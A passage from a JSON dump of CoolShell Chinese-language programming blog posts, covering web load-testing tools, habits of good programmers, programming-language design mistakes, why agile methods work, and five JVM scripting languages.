Polygraph这个软件也是一个用于测试WEB性能的工具，这个工具是很多公司的标准测试工具，包括微软在分析其软件性能的时候，也是使用这个工具做为基准工具的。很多招聘测试员的广告中都注明需要熟练掌握这个测试工具。\n\n\n**[OpenSTA](http://opensta.org/)** – OpenSTA是一个免费的、开放源代码的web性能测试工具，能录制功能非常强大的脚本过程，执行性能测试。例如虚拟多个不同的用户同时登陆被测试网站。其还能对录制的测试脚本进行,按指定的语法进行编辑。在录制完测试脚本后，可以对测试脚本进行编辑，以便进行特定的性能指标分析。其较为丰富的图形化测试结果大大提高了测试报告的可阅读性。OpenSTA 基于CORBA 的结构体系，它通过虚拟一个proxy，使用其专用的脚本控制语言，记录通过proxy 的一切HTTP/S traffic。通过分析OpenSTA的性能指标收集器收集的各项性能指标，以及HTTP 数据，对系统的性能进行分析。\n\n\n欢迎您留下你认为不错的WEB应用性能测试的工具。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web工程师的工具箱](../wp-content/uploads/2012/12/webtoolbox-150x150.jpg)](https://coolshell.cn/articles/8767.html)[Web工程师的工具箱](https://coolshell.cn/articles/8767.html)\n* [![如何在低速率网络中测试 Web 应用](../wp-content/uploads/2010/07/Firefox-Throttle-150x150.png)](https://coolshell.cn/articles/2574.html)[如何在低速率网络中测试 Web 应用](https://coolshell.cn/articles/2574.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\nThe post [十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-14 五个方法成为更好的程序员.md",
    "content": "---\nlayout: post\ntitle: 五个方法成为更好的程序员\ndate: 2010/7/14/ 23:53:16\nupdated: 2010/7/14/ 23:53:16\nstatus: publish\npublished: true\ntype: post\n---\n\n对我来说，一个好的程序员应该是努力去追求尽可能无错的高质量的符合需求的代码实现。 一些人也许认为好的程序员是那些懂得多门编程语言，懂得很牛技术的程序员，是的，这在某些情况下是对的。但归根到底，无论你用什么样的技术，什么样的语言，所有的程序被写出来，其功能都要符合需求以及尽可能地健壮无错和高质量。  我们可以想像一下，如果一个能力普通的程序员有足够多的时间来做测试，那么，其也可以保证他的代码的质量。所以，有一种观点这样认为——要达到质量高的代码只需要有足够多的时间来做测试。这对于以结果为导向的商业软件开发中是可以理解的（我们可以看到那些制汽车的产商在汽车测试上花费的精力和时间就可以明白这一道理）。\n\n\n但是，很明显，所有的已经开发出来项目都是在不完美的条件下开发出来的，一般来说，几乎所有的项目都是在最大化程序员软件的开发速度。而且，很多情况下，我们似乎对深度测试和压力测试并不是很关心，所以，我们总是在祈祷并期望那些赶工出来的代码可以正常工作，尤其是在上线的时候，这种唯心主义的价值观更为强烈。  其实，开发速度和软件产品质量并不矛盾。**好的程序员并一定是技术强的程序员，而是那些可以在不完美的工作环境下保证软件质量和工作效率的程序员**。下面是是五个程序员可以在这种不完美的情况下做得更好的观点（它们都和语言和技术没什么关系，只不过是一种你的工作行为，能够和所有的行业相通），这五个观点也许可以让你成为这样的好程序员。\n\n\n\n* **寻找不同观点：**程序员好像并不喜欢技术上有异见的人，他们特别喜欢争论各自的技术观点。但是，他们忽略了不同观点的价值。任何事情都有好有坏，我们应该学会在不同观点中学习和平衡。这样才会更多的了解编程和技术。要经常在做事之前问自己和别人，这么做对不对？做完事后问自己，还可不可以改进？努力去寻找别的不同的观点或方法。程序员应该经常上网，经常和同事讨论不同的实现方法，不同的技术观点，这样才能取长补短。然而，在实际工作中，我发现程序员们并不喜欢互相请教，因为请教的人怕别人看不起他，而被请教的人总是先贬低对方的能力，哎……（参看《[十个让你变成糟糕的程序员的行为](https://coolshell.cn/articles/1081.html)》），如果有这样的文化氛围的话，那也没有关系。上网吧，网上的人谁也不认识谁，可以尽情地问一些愚蠢的问题。呵呵。总之，一定要明白，如果某些事情只有一个观点，那么你一定要怀疑一下了，没有观点和技术方案的比较，没有百花齐放的情况，你就无法知道是否还有更好的东西。真正的和谐不是只有一种声音，真正的和谐而是在不同的观点声音下取长补短，百家争鸣（参看《[十条不错的编程观点](https://coolshell.cn/articles/2424.html)》）。否则，你永远都不会接受到新的观点，也就无法进步和成长了。\n\n\n\n\n* **千万别信自己的代码**: 在任何时候，一定要高度怀疑自己的代码。很多时候，错误总是自己造成的。所以，当出现问题的时候，要学会review代码中所有的可疑点，千万别觉得某段代码很简单，可以略过。事实证明，很多疏忽大意都是在阴沟里翻的船，都是那些很低级的错误。在查错的过程中，切忌过早下结论，切忌四处乱改（参看《[各种流行的编程风格](https://coolshell.cn/articles/2058.html)》），停下来，想一想，会是哪儿的代码有重大嫌疑，然后查看一下代码，捋一捋程序的逻辑（参看《[橡皮鸭程序调试法](https://coolshell.cn/articles/1719.html)》），调试并验证一下程序的逻辑和变量在运行时是否是正确的。很多时候，对于那些难缠的问题，最后解决了总是因为我们开始认真回头审视所有的代码。只有对自己的代码保持着高度的怀疑，这样我们才会想着如何让其运行得更好更稳定，也会让我们在单元测试中下更多的功夫，这样才能更能在那忙碌的环境中节省时间。相信我，在集成测试中fix bug的成本要比在单元测试Fix bug的成本大得多的多。一个简单的例子就是memory leak。程序员对自己的程序需要有忧患意识，这样才会越来越成熟，而自己的能力也会越来越强。\n\n\n\n* **思考和放松**: 做事前多想一想，这样做事的时候就不会不顾此失彼，手忙脚乱，一旦事情一乱，你的心情也会更乱，于是，事情也就会更乱。最后，你只得重写，这种事情太多了。而且，在工作中要学会享受，要学会放松心情，我并不是让你工作的时候聊QQ，我只是说，有时候，心态过于紧张，压力过大，你的工作成果反而更不好，从而又反过来造成新一轮的焦虑和紧张。我个人认为，**思考和放松是可以完美统一的**，思考其实就是一种放松，停下来，休息一下，回头看看走过的路，喝口水，登个高，看看过去走的对不对？总体是个什么样？总结一下，然后看看前路怎么样好走，这会你才会越走越好，越走越快。好的程序员都不是那种埋头苦干的人，好的程序员总是那些善于总结成败得失，善于思考，善于调整，善于放松的人（参看《[优秀程序员的十个习惯](https://coolshell.cn/articles/222.html)》）。不然，我能看到的情形是，你很快地把事干完，回到家刚坐下来，老板或是客户就打电话来告诉你你的程序出问题了。总之，深思熟虑，动作会很慢，但是你可以保证你工作成果的质量，反而能让你更多的节约时间。\n\n\n\n* **学习历史，跟上时代**: 如果你是从十年前开始编程的，那么，今天的这门语言或是技术会有很多很多的改进和改善。你以前开发一个功能或函数，今天早已被集成时了语言中，而且做得比你的版本要好得多。以前你需要100行代码完成的事情，今天只需要1行代码。这样的事情在未来还会发生，所以，今天的你一定要学会如何跟上时代。但是，你也不要放弃历史，我现在看到很多程序员对一些现代的语言和技术使用的非常好，他们可以很容易地跟上时代。但不要忘了，计算机世界的技术更新和技术淘汰也是非常猛的。所以，你一定要学习历史，这些历史不是产商的历史，而是整个计算机文化的历史（参见《[Unix传奇](https://coolshell.cn/articles/2322.html)》）。只有通过历史，你才能明白历史上出现的问题，新技术出来的原因，这样才能够对今天的这些新的技术更了解，也才能明白明天的方向在哪里。学习历史和跟上时代都是相当重要的。使用新型的技术，停下来接受培训，可以让你工作得更快，更高效（参看《[未来五年程序员需要掌握的10项技能](https://coolshell.cn/articles/511.html)》）。而学习和总结历史，才会让你在纷乱的世界中找到方向。\n\n\n\n* **积极推动测试活动**: 只有测试才能证明软件可以正常工作，只有测试才能保证软件的质量。无论什么产品，都需要经过或多或少的测试。测试地充分的产品或模块，你会发现其质量总是那么好，测试的不充的产品，质量总是那么次。德系汽车，日系汽车质量怎么样，关键还是在于怎么去测试的，测试的是否充分。所以，在你开发软件的过程中，如果你说你的程序写地好，质量高，那么请你拿出实实在在的测试报告。在整个软件开发过程中，做为一个好的程序员，你应该积极地在各个环节推动项目组进行测试活动。不要以为技术需求阶段和设计阶段不需要测试，一样的，只要你要release什么，release的这个东西都需要进行测试。技术需求怎么做测试？用户案例就是测试案例。在软件开发的整个过程中，保证产品质量有时候比实现需求更重要，尤其是那些非常重要甚至人命关天的产品。\n\n\n上面这些五个观点都是可能让你在不完美的工作环境中可以工作得更好，更快，更高效，希望能够对你有用。另外，也欢迎你留下你的观点！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [五个方法成为更好的程序员](https://coolshell.cn/articles/2606.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-14 五个编程语言设计的失误.md",
    "content": "---\nlayout: post\ntitle: 五个编程语言设计的失误\ndate: 2010/7/14/ 0:38:34\nupdated: 2010/7/14/ 0:38:34\nstatus: publish\npublished: true\ntype: post\n---\n\n在近几年来，编程语言的设计正在经历着类似于“文艺复兴”的过程，这么说主要是基于下面两个事实：1）多核技术推动着PC消费者更多的关注并行程序。2）动态语言的性能越来越好，其性期已经可以足够用来实现互联网服务，并且它们正在走出“脚本语言”阴影。\n\n\n这篇文章试图收集最重要的编程语言的设计错误，以便让那些程序语言设计者们在设计新型的编程语言时避免。我避免了一些纠缠不清的有好有坏的问题，如：动态类型或是静态类型。我也省略了那些看起来并不严重，很容易被修改的错误。例如，加入“参量”（Parametric Type），这在Java中已经有了。Sun在发布Java 1.0版后的第八年才加入了这一功能。还有一个最近的例子是 [Google Go Language Design FAQ](http://golang.org/doc/go_lang_faq.html#generics) 中说到的：: “Generics may well be added at some point. We don’t feel an urgency for them, although we understand some programmers do.”\n\n\n### 0. Null 指针\n\n\n几乎在所有的主流编程语言中，对一个对像的引用可能会是一个空指针，这个错误会引发运行时错误。 C.A.R. Hoare 最近声明向这一“发明”负责，尽管如此，其它许多的设计者们都应该对这样的设计受到批评。下面是 C.A.R Hoare 的“忏悔”：\n\n\n\n> I call it my billion-dollar mistake. It was the invention of the null reference in 1965. […] More recent programming languages like Spec# have introduced declarations for non-null references. This is the solution, which I rejected in 1965. – [C.A.R. Hoare](http://qconlondon.com/london-2009/presentation/Null+References:+The+Billion+Dollar+Mistake)\n> \n> \n> 我把它叫做“亿万美元错误”。这个空指针的发明创造来自1965年。…… 现在的编程语言引入了“非空引用”的声明规格。这个方案被我在1965年给拒绝了。\n> \n> \n\n\n\n其它语言，如 C/C++ 更夸张，它们在运到这样的错误时，直接Crash掉，而 Java， Python 和其它语言会抛出一NullPointerException异常，但问题是，这个 RuntimeException 可能会被几乎所有的语句抛出。其实，只需要一个静态类型的语言就可以保证不会出现空指针或空引用。例如： [Cyclone](http://cyclone.thelanguage.org/) 是一个安全的C变种，其引入了非空指针和指针运算的限制。\n\n\n一些语言甚至让你根本不可能创建空指针，虽然这使得明确的指针不能行进行运算。Haskell 就是这样的一个语言，其提供了Maybe Monad，其强制程序员考虑“Null”的情形。\n\n\n### 1. 很难解析的语法\n\n\n编程语言的语法应该来自 [LALR](http://en.wikipedia.org/wiki/LALR_parser) 或是更好的 [LL(1)](http://en.wikipedia.org/wiki/LL_parser)。今天的程序员需要适当的工具来支持其开发语言，也就是我们常说的IDE，编译器或是其它可以帮你解析程序语言的编程工具。这并不会出现在一个单一的前端。也许，多重编译器已经被实现出来了。这可能让我们的开始变得更容易一些。然而，我们现实中的一个反例是 C++，几乎没有哪个C++的编译器可以把C++这个语言完美地正确地解释出来，而且不同C++的编译器的行为如此的诡异。编程语法的开销是微不足道的，程序员应该在编写程序中享有更快速和高效的回报。\n\n\n### 2. 未定义的语义\n\n\n别在语言规格中说“实现规范”！尽可能的少使用“未定义”这样的术语来描述语言的行为（C/C++中出现了很多undefined的行为）！黄金准则是StandardML，其是一个完整地正式的语义。C 语言是这样一个反例，其规则中有太多太多的未定义的情况。然而，由于其广泛使用，所以某些行为的定义已经成为了世界的共识（江湖的行规，或，潜规则）。 举个例子，在C中，整型 overflow 的行为是未定义的，而编译器也是有能力推断出“ `x < x+1` ”是否总是为真。不幸的是，这个本来是编译器应该干的事，交给了程序员，于是在C的世界里，出现了大量的整型溢出的代码。而当整型溢出的时候，几乎所有的行为都是像x86处理器一样（如： `maxint+1 == minint）。`\n\n\n明确的语义可以让验证和错误检查更容易。虽然，软件校验来得比缓慢，但一定会来。我可以想像，编程语言的下一个机会将会是更容易地校验，这可能需要十到二十年的时间，但今天开始这样做的语言将会在那天成为世界的主流。\n\n\n### 3. 坏的Unicode 支持\n\n\n程序中几乎都要处理字符串，但别忘了并不是所有人都会使用英语来编程。今天，几乎所有的编程语言都不支持Unicode，所以，我们只能使用ANSI的英语来编程。这个时代， 程序员应该使用Unicode 来编程，所以，源代码也可以声明其用什么来编码。\n\n\n在文本和字节序间的转换和区分在的标准库方面会比语言方面更是一个问题，当然，这也影响了语法。读一读 [Python 3 是怎么解决这个问题](http://docs.python.org/py3k/whatsnew/3.0.html#text-vs-data-instead-of-unicode-vs-8-bit)可能会更有一些帮助。\n\n\n### 4. 预处理器\n\n\n像C++和MP4的预处理器已经被广泛地使用着，使用预处理器更像是一种hack而不是一个干净的解决方案。 他们被用来，使用外部文件（如头文件，但确没有正确地模块机制），使用条件编译，宏替换，等。把这些功能与编程语言集成起来一起使用可以增加程序的性能和开发效率，并没有什么不好的地方。\n\n\n如果要举一个反例，那么就是预编译器的模块化系统。C使用`#include` 而 C++ 更痛苦，因为模板需要写一个大的头文件，而且其会被包含在几乎所有的其它文件中。而一个真正的模块化的系统是不需要使用 `extern` 关键字，也不需要程序的链接，而应该是直接使用。\n\n\n\n文章：[来源](http://beza1e1.tuxen.de/articles/proglang_mistakes.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2539.html)[参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍](https://coolshell.cn/articles/2539.html)\nThe post [五个编程语言设计的失误](https://coolshell.cn/articles/2598.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-18 为什么敏捷方法能在软件开发中行之有效？.md",
    "content": "---\nlayout: post\ntitle: 为什么敏捷方法能在软件开发中行之有效？\ndate: 2010/7/18/ 2:28:25\nupdated: 2010/7/18/ 2:28:25\nstatus: publish\npublished: true\ntype: post\n---\n\n*[文章来源 – Martin Fowler 和 Neal Ford 在 Paris – USI 2010 的演讲](http://universite-du-si.com/en/conferences/6/sessions/909)*\n\n\n有很多的书籍讨论敏捷方法是怎样工作的（How it works？），在这个主题演讲中，Martin Fowler 和他的同事 Neal Ford 讨论了敏捷方法能够在软件开发项目中行之有效的原因（Why it works？）。作为敏捷方法的发起人和传道者，Martin Fowler 和 ThoughtWorks 一直试图从理论层面证明敏捷方法的可行性，同时不厌其烦地解答着客户们的各种困惑，正如他们所说，敏捷方法中的很多概念不是特别的直观，除非人们真正实践过一段时间，否则有些概念很难从字面上去完全理解。\n\n\nMartin Fowler 谈到一个有意思的现象，那就是今天许多人们口中谈论的敏捷方法，和最初的敏捷方法大相径庭，他把这种现象称为“语义扩散（Semantic Diffusion）”，大意是某种思想在传播的过程中，在逐渐扩散的同时，其语义也渐渐变得模糊。在敏捷开发领域里，“语义扩散”导致的一个问题是，在一些使用敏捷方法的项目或者公司中，我们甚至无法辨别出敏捷方法的影子，原因是很多人没有真正地理解敏捷方法，也就不能够正确地运用和实践，从而也就无法真正了解自己是否能够从敏捷方法中获益。\n\n\n[![](../wp-content/uploads/2010/07/Martin-Flower1-300x94.jpg \"Martin Flower\")](https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1.jpg)\n\n\n以下是为什么敏捷方法行之有效的原因：\n\n\n\n#### **1. 敏捷方法和传统的计划驱动方法的两个主要区别**\n\n\ni. 预测性计划（Predictive Planning）和自适应计划（Adaptive Planning）\n\n\n计划驱动方法首先计划要做的工作（plan your work），然后着手工作以完成计划（work your plan）。这是一种带有预测性质的方法，其衡量项目成功的标准则是我们是否按计划、按时、按预算完成了工作。这种方法在很多领域里是适用的。但是对于软件开发而言，如果我们的需求没有办法做到不变更的话，我们就无法保证我们的计划以及其后的工作是不会变更的。Martin Fowler 向现场观众提出了一个问题，大意是你们当中有多少人的软件开发项目的需求是一成不变的，结果没有一位观众举手。因此，敏捷方法引入了自适应计划的概念，既然我们无法保证需求不变更，那么就让我们随时准备接受变更，接受挑战吧。自适应计划将计划驱动的流程缩短为以数周为单位的循环周期，在每一个周期中，我们根据当前的情况不断地调整计划以及计划的执行过程，同时不断地产生能够工作的代码，并且不断地将代码部署到应用环境中去。当然要实现这个目标我们需要一些具体方法的支持，如：自测试代码（Self-Testing Code），持续集成（Continuous Integration），重构（Refactoring），和简洁设计（Simple Design）等等这些技术层面上的方法。Martin Fowler 指出，一些公司和项目之所以受困于敏捷方法，原因之一是他们忽略了这些技术层面的方法，而仅仅实施了项目管理层面的方法。\n\n\nii. 以流程为本（Process First）和以人为本（People First）\n\n\n在传统的方法论中，我们总是需要事先定义好工作的方法和流程，然后“工人们”被要求遵照这些方法和流程来工作。在软件开发领域，很多人把软件开发过程等同于软件本身，也就是说，软件开发的过程也如同软件程序般象机器一样运行，组件之间环环相扣，严密地协同工作。问题是软件开发的核心是人，人相对于机器零件和流水线而言，是相对不可预测的和不那么精密的。所以敏捷方法反其道而行之，提倡将“首先定义流程，然后要求软件开发人员遵照流程工作”变为“让参与软件开发的人员自己来定义和选择适合他们的流程”。简单来说就是以人为本，不把人当螺丝钉，发挥人的主观能动性，当然前提是需要团队成员有较高的平均素质。\n\n\n#### 2. 沟通（Communication）\n\n\nNeal Ford 让我们回顾或想象一下失败的软件开发项目，它们的失败是由于技术因素还是人的因素呢？《人件》的作者认为都是人的因素。人类的社会性决定了沟通的重要。Neal 举了几个有趣的例子，如：监狱里的犯人宁愿和其他人渣待在一起也不愿被关禁闭。很多国家禁止驾驶员驾驶时打移动电话，那为什么和乘客聊天就没有问题呢？原因是直接对话是最为有效和便捷的沟通方式，信息的传递在对话过程中非常顺畅和完整。虽然现在的移动通讯已经非常先进，信号质量也很高，但是我们的通话过程仍然是有损的，我们的大脑这个时候就需要努力地试图将通话信息拼凑得更完整以便能够理解对方的意思，因此才会分散驾驶的注意力。随后，Martin Fowler 举了另一个例子，拿他做水果蛋糕的方法和他在酒店的浴室中冲凉的方法来进行比较。因为做水果蛋糕的整个流程和配料都是非常固定的，所以他只需要按步照搬地烹饪即可做出味道非常一致（地好或者差）的水果蛋糕。而在酒店中冲凉就有些不同，因为每一个酒店浴室的开关设计几乎都是不一样的，所以他需要不断地调整开关来获得一个理想的水温，也就是需要不断地重复“调整开关”（输入），“用手试温”（输出）这个过程。相对于做水果蛋糕，在酒店浴室冲凉更好地反应了软件开发的特征，这就是在软件开发领域中，如果我们善于根据用户反馈的信息来做出新的判断和调整，就有可能提高产品的质量和用户的满意度。\n\n\n沟通的确是一个非常重要的环节，它是敏捷方法的核心。在敏捷方法中，单元测试是程序员和代码组件的沟通，功能测试是程序员以及QA和系统的沟通，故事墙（Story Wall）和回顾（Retrospective）是团队和成员之间的沟通，功能演示（Showcase 或者 Demo）是团队通过产品和最终用户的沟通，持续集成（Continuous Integration）是产品和企业计算环境的沟通。沟通好了，什么事情都可以妥善解决，沟通得不好，好事也会变坏事。和广大技术爱好者交流沟通也是酷壳存在的目的和意义。\n\n\n整个演讲时长一个小时，本文只是节选了我认为比较有意思的观点加上本人的理解写成，如有错误之处欢迎指正，不同看法欢迎交流。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [![持续部署，并不简单！](../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg)](https://coolshell.cn/articles/7657.html)[持续部署，并不简单！](https://coolshell.cn/articles/7657.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/5625.html)[“品质在于构建过程”吗？](https://coolshell.cn/articles/5625.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [![为什么Scrum不行？](../wp-content/uploads/2011/07/hat-150x150.jpeg)](https://coolshell.cn/articles/5044.html)[为什么Scrum不行？](https://coolshell.cn/articles/5044.html)\nThe post [为什么敏捷方法能在软件开发中行之有效？](https://coolshell.cn/articles/2622.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-19 五大基于JVM的脚本语言.md",
    "content": "---\nlayout: post\ntitle: 五大基于JVM的脚本语言\ndate: 2010/7/19/ 11:40:42\nupdated: 2010/7/19/ 11:40:42\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得以前本站的一篇文章《[如何在Google App Engine上运行PHP](https://coolshell.cn/articles/531.html)》吗，其实那是借用 [Quercus](http://www.caucho.com/resin-3.0/quercus/)， 一个 100% 的用Java 实现的一个 PHP 引擎。今天，这样的东西太多了，能运行在Java的虚拟机JVM上的程序意味着有天然的跨平台性，现在JVM并不单单只能运行Java程序，在JVM上出现了若干使用Java虚拟机运行的脚本程序，比如什么PHP, Python, Ruby等等，这里有一篇[文章](http://infoworld.com/d/developer-world/top-five-scripting-languages-the-jvm-855)评论了在JVM上的可以运行的排名前五脚本语言。他们分别是：\n\n\n1. [**Groovy**](http://groovy.codehaus.org/)。构建在强大的Java语言之上 并添加了从Python，Ruby和Smalltalk等语言中学到的诸多特征，为Java开发者提供了现代最流行的编程语言特性，而且学习成本很低（几乎为零），在开发Web，GUI，数据库或控制台程序时， 通过减少框架性代码 大大提高了开发者的效率。支持单元测试和模拟（对象），可以简化测试。无缝集成 所有已经存在的 Java对象和类库。直接编译成Java字节码，这样可以在任何使用Java的地方 使用Groovy。\n2. [**JRuby**](http://jruby.org/)。一个纯Java实现的Ruby解释器。通过JRuby，你可以在JVM上直接运行Ruby程序，调用Java的类库。很多Java编写的Ruby IDE都是使用JRuby来解释语法的。\n3. [**Scala**](http://www.scala-lang.org/)。一种多范式的编程语言，设计意图是要整合面向对象编程和函数式编程的各种特性。Scala编程语言近来抓住了很多开发者的眼球。它看起来像是一种纯粹的面向对象编程语言，而又无缝地结合了命令式和函数式的编程风格。Scala的名称表明，它还是一种高度可伸缩的语言。Scala的设计始终贯穿着一个理念：创造一种更好地支持组件的语言。\n4. [**Fantom**](http://fantom.org/) 。Fantom 前身是 (Fan) 是一个基于 Java 和 .NET 平台的编程脚本引擎，用来在运行时产生 JVM 和 .NET 平台的字节码，该语言是面向对象的，跟 Groovy 和 JRuby 有点类似，可通过特定的接口来集成 Java 的类库。\n5. [**Jython**](http://www.jython.org/)。Jython由于继承了Java和Python二者的特性而显得很独特。其是一种完整的语言，而不是一个Java翻译器或仅仅是一个Python编译器，它是一个Python语言在Java中的完全实现。Jython也有很多从CPython中继承的模块库。最有趣的事情是Jython不像CPython或其他任何高级语言，它提供了对其实现语言的一切存取。所以Jython不仅给你提供了Python的库，同时也提供了所有的Java类。这使其有一个巨大的资源库。\n\n\n\n\n下面是一张表格比较了这五大JVM脚本语言：\n\n\n\n\n\n|  | [**Groovy**](http://groovy.codehaus.org/) | [**JRuby**](http://jruby.org/) | [**Scala**](http://www.scala-lang.org/) | [**Fantom**](http://fantom.org/) | [**Jython**](http://www.jython.org/) |\n| --- | --- | --- | --- | --- | --- |\n| **风格类型** | OO / 动态 | OO / 动态 | OO, 过程/ 静态 | OO / 静态 | OO / 动态 |\n| **源语言** | Java | Ruby | N/A | N/A | Python |\n| **运行** | 编译型 | 编译型,\n解释型 | 编译型 | 半编译型 | 编译型 |\n| **平台** | JVM | JVM | JVM | JVM, .Net CLR | JVM |\n| **Java集成** | 极好 | 极好 | 极好 | 好 | 极好 |\n| **运行速度** | 好 | 好 | 极好 | 很好 | 慢 |\n| **工具支持** | 广泛 | 还可以 | 广泛 | 几乎没有 | 几乎没有 |\n\n\n其它一些JVM的脚本语言也我们可以关注一下，如：[**Clojure**](http://clojure.org/), [**JavaFX**](http://javafx.com/), 和IBM的 [**NetRexx**](http://www.ibm.com/software/awdtools/netrexx/)。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\nThe post [五大基于JVM的脚本语言](https://coolshell.cn/articles/2631.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-20 .NET代码转换器.md",
